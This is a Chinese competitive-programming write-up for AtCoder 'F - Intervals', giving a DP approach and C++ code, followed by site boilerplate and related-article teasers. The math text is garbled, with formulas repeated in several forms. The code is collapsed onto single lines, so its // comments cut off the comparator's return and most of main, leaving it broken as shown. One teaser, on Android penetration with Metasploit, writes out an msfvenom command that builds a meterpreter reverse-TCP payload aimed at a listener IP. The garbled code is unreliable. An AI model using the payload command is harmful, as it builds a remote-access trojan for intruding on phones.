AT F-Intervals 題解

簡化題意:

nnn 個區間,保證所有區間同時覆蓋一個點,每次將區間平移一個單位,問使得區間兩兩不交的最小操作數(端點處可重疊)。n≤5000。l,r≤231?1n\leq 5000。l,r\leq 2^{31}-1n5000l,r231?1

思路:

答案區間一定是連續的一段。而且最優的情況一定是中間的區間不動,一半移向左,一半移向右。對于 nnn 為偶數的情況,選任意一個均可或新增一個(p,p)(p,p)(p,p) 區間。
先將區間按照長度從大到小排序。
不用枚舉這個中間的區間,我們設 fi,j,0/1f_{i,j,0/1}fi,j,0/1? 表示前 iii 個區間中 jjj 個向左移動,沒選/選了中間的區間。
對于轉移,我們分別轉移到向左,向右和中間三個狀態。
向左舉例:fi+1,j+1,k=min(fi+1,j+1,k,fi,j,k+ai.r+ai.len×j)f_{i+1,j+1,k}=min(f_{i+1,j+1,k},f_{i,j,k}+a_i.r+a_i.len\times j)fi+1,j+1,k?=min(fi+1,j+1,k?,fi,j,k?+ai?.r+ai?.len×j)。因為所有比它大的都要經過它,還需移動 a[i].ra[i].ra[i].r 使整個區間與左側區間不交。
注意雖然本題 nnn500050005000,但向左的最多只會有一半,所以第二維開到一般即可,要不然容易MLE。
:::info[code]

#include<bits/stdc++.h>
using namespace std;
#define ll long long
const int N=5005;
int n;
int L,R;
struct node{ll l,r,len;
}q[N]; 
ll f[N][N][2];
bool cmp(node x,node y){
//	if(x.len==y.len) return x.l<y.l;return x.len>y.len;
}
int main(){scanf("%d",&n);for(int i=1;i<=n;i++){scanf("%lld%lld",&q[i].l,&q[i].r);//	q[i].l=-q[i].l; q[i].len=q[i].r-q[i].l;//點可重 }sort(q+1,q+1+n,cmp);memset(f,0x3f,sizeof f);L=n/2,R=(n-1)/2;f[0][0][0]=0;for(int i=0;i<n;i++){for(int j=0;j<=L;j++){//	if(i-j<0||i-j>R) continue;if(i-j>=0&&i-j<=R)f[i+1][j][1]=min(f[i+1][j][1],f[i][j][0]-q[i+1].l*L+q[i+1].r*R);if(j+1<=L){if(i-j-1>=0&&i-j-1<=R) f[i+1][j+1][1]=min(f[i+1][j+1][1],f[i][j][1]+q[i+1].r+q[i+1].len*j);if(i-j>=0&&i-j<=R)f[i+1][j+1][0]=min(f[i+1][j+1][0],f[i][j][0]+q[i+1].r+q[i+1].len*j);				}if(i-j<=R){if(i-j-1>=0&&i-j-1<=R) f[i+1][j][1]=min(f[i+1][j][1],f[i][j][1]-q[i+1].l+q[i+1].len*(i-j-1));}if(i-j+1<=R){if(i-j>=0&&i-j<=R)f[i+1][j][0]=min(f[i+1][j][0],f[i][j][0]-q[i+1].l+q[i+1].len*(i-j));}//	cout<<i<<" "<<j<<" "<<0<<" "<<f[i][j][0]<<endl; //	cout<<i<<" "<<j<<" "<<1<<" "<<f[i][j][1]<<endl; }}printf("%lld\n",f[n][L][1]);return 0;
} 

:::

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/92742.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/92742.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/92742.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《飛算Java AI:從安裝到需求轉實戰項目詳細教學》

前引&#xff1a;在當今快速發展的技術環境中&#xff0c;人工智能&#xff08;AI&#xff09;與編程語言的結合為開發者提供了前所未有的便利。飛算Java AI作為一款智能化編程工具&#xff0c;能夠顯著提升Java開發效率&#xff0c;減少重復性工作&#xff0c;并幫助開發者更專…

6深度學習Pytorch-神經網絡--過擬合欠擬合問題解決(Dropout、正則化、早停法、數據增強)、批量標準化

過擬合、欠擬合 在機器學習和深度學習中&#xff0c;過擬合&#xff08;Overfitting&#xff09;和欠擬合&#xff08;Underfitting&#xff09;是模型訓練過程中常見的兩種問題&#xff0c;直接影響模型的泛化能力&#xff08;即對未見過的數據的預測能力&#xff09;。 1. 欠…

新手向:Python編寫簡易翻譯工具

Python 編寫簡易翻譯工具&#xff1a;從零開始入門指南對于剛接觸編程的新手來說&#xff0c;編寫一個實用的工具是快速入門的好方法。本文將詳細介紹如何用 Python 編寫一個簡易的翻譯工具&#xff0c;幫助理解基礎編程概念和實際應用。無需任何編程基礎&#xff0c;只需按照步…

爬蟲與數據分析結和

任務描述 爬取目標&#xff1a;高三網中國大學排名一覽表&#xff0c;網址為 2021中國的大學排名一覽表_高三網。爬取內容&#xff1a;學校名稱、總分、全國排名、星級排名、辦學層級。數據存儲&#xff1a;爬取后的數據保存在 CSV 文件中。 代碼實現&#xff08;爬取&#xff…

linux下安裝php

1.php官網下載所需要的php版本 下載php 2.將下載好的壓縮包上傳至linux服務器&#xff0c;解壓并配置 tar -xzvf php-8.4.11.tar.gz cd php-8.4.11 ./configure --prefix/home/admintest/php/php-8.4.11 # 配置安裝路徑和選項 make sudo make install3.使用make命令編譯完成…

nurbs曲線的matlab

基于MATLAB的NURBS曲線生成與可視化程序 %% NURBS曲線生成與可視化 clc; clear; close all;%% 基本參數設置 degree 3; % 曲線階數 (degree k-1, k為控制點數) numCtrlPts 6; % 控制點數量 weights ones(1, numCtrlPts); % 權重向量&#xff08;可調整&#…

AWS WAF防護機制深度研究:多模式驗證與繞過技術解析

AWS WAF防護機制深度研究&#xff1a;多模式驗證與繞過技術解析 技術概述 AWS WAF&#xff08;Web Application Firewall&#xff09;作為亞馬遜云服務的核心安全組件&#xff0c;為Web應用提供了多層次的防護機制。該系統基于先進的機器學習算法和規則引擎&#xff0c;能夠實…

嵌入式 - Linux軟件編程:文件IO

一、概念標準IO是有緩存的IO&#xff0c;文件IO沒有緩存&#xff0c;適合于通信、硬件設備操作標準IO是庫函數&#xff0c;文件IO是系統調用文件 IO 與標準 IO&#xff08;基于 C 庫函數的 IO&#xff09;是 Linux 中兩種主要的 IO 方式&#xff0c;二者的核心差異如下&#xf…

ESP32 MQTT對接EMQX本地服務器

文章目錄一、搭建EMQX本地MQTT服務器1.1 下載1.2 使用二、MQTT.fx安裝使用2.1 破解及安裝2.2 客戶端界面說明2.3 與 WebSocket 客戶端互發消息2.3.1 使用MQTT.fx連接到EMQX本地服務器1.General設置2.User Credentials設置3.進行連接2.3.2 MQTT.fx發布和訂閱主題1.發布主題2.訂閱…

【Node.js從 0 到 1:入門實戰與項目驅動】2.2 驗證安裝(`node -v`、`npm -v`命令使用)

文章目錄 第 2 章:環境搭建 —— 準備你的開發工具 2.2 驗證安裝(`node -v`、`npm -v`命令使用) 一、基礎驗證命令解析 二、基礎驗證場景案例 案例 1:首次安裝后的基礎驗證 案例 2:檢查版本兼容性 三、進階場景案例 案例 3:在腳本中動態獲取 Node.js 版本 案例 4:在 npm…

【虛擬機】VMwareWorkstation17Pro安裝步驟

哈嘍&#xff0c;你好啊&#xff0c;我是雷工&#xff01; 工作中時常會遇到各種各樣的系統&#xff0c; 需要做各種測試&#xff0c; 比如要驗證某個軟件在某個系統版本上是否適配&#xff0c; 這時候將自己的電腦系統換成要測試的系統就會比較麻煩。 這時候使用虛擬機就…

C語言庫中的字符函數

目錄 求字符串長度 認識strlen 自主實現strlen 字符串拷貝 認識strcpy 自主實現strcpy strncpy 字符串拼接 認識strcat 自主實現sracat strncat 字符串大小比較 認識strcmp 自主實現strcmp strncmp 字符串中尋找子字符串 認識strstr 自主實現strstr 根據符號…

學習日志31 python

1 x, y y, x 是合法的,這是Python的特色語法x, y y, x 是 Python 中一種非常簡潔且實用的特色語法&#xff0c;用于交換兩個變量的值。這種語法的優勢在于&#xff1a;無需額外的臨時變量即可完成交換操作代碼簡潔易讀&#xff0c;一眼就能理解其目的執行效率高&#xff0c;在…

Mac配置服務器工具Royal TSX

Royal TSX是mac上類似xshell的工具&#xff0c;可以遠程連接服務器、連接ftp等 下載Royal TSX 官網&#xff1a;Royal TSX 下載插件 在設置中的插件市場plugins中下載需要的插件 例如 遠程shell插件&#xff1a;Terminal ftp插件&#xff1a;File Transfer 新建一個文檔 開…

【小程序】微信小程序開發,給用戶發送一次性訂閱消息,常見參數長度和數據類型說明,你值得收藏

&#x1f339;歡迎來到《小5講堂》&#x1f339; &#x1f339;這是《小程序》系列文章&#xff0c;每篇文章將以博主理解的角度展開講解。&#x1f339; &#x1f339;溫馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不對之處望指正&#xff01;&a…

Pytorch深度學習框架實戰教程-番外篇05-Pytorch全連接層概念定義、工作原理和作用

相關文章 視頻教程 《Pytorch深度學習框架實戰教程01》《視頻教程》 《Pytorch深度學習框架實戰教程02&#xff1a;開發環境部署》《視頻教程》 《Pytorch深度學習框架實戰教程03&#xff1a;Tensor 的創建、屬性、操作與轉換詳解》《視頻教程》 《Pytorch深度學習框架實戰…

生產環境中Spring Cloud Config高可用與動態刷新實戰經驗分享

生產環境中Spring Cloud Config高可用與動態刷新實戰經驗分享 一、業務場景描述 在微服務架構中&#xff0c;配置中心承擔集中化管理各微服務配置的職責。隨著服務實例數量增加&#xff0c;單點部署的Spring Cloud Config Server無法滿足生產環境的高可用需求。同時&#xff0c…

華為服務器中Mindie鏡像的部署及啟動方法

一、部署方法 首先要安裝好Docker,然后點開網址https://www.hiascend.com/developer/ascendhub/detail/af85b724a7e5469ebd7ea13c3439d48f 拉取鏡像需要申請權限: 注冊登錄后,即可提交申請,一般需要一個工作日,等審核通過后,點擊下載即可彈出如下提示框: 按照上述方法…

Unity基于Recoder的API寫了一個隨時錄屏的工具

Tips: 需要有Recorder Package引用或存在在項目 using UnityEngine; using UnityEditor; using UnityEditor.Recorder; using UnityEditor.Recorder.Input; using System.IO; using System;public class RecorderWindow : EditorWindow {private RecorderController recorderCo…

安卓滲透基礎(Metasploit)

生成payloadmsfvenom -p android/meterpreter/reverse_tcp LHOST106.53.xx.xx LPORT8080 -o C:\my_custom_shell.apkapksigner 是 Android SDK 中的一個工具&#xff0c;用于給 APK 文件簽名&#xff0c;確保應用的完整性和安全性。進入 File > Settings > Appearance &a…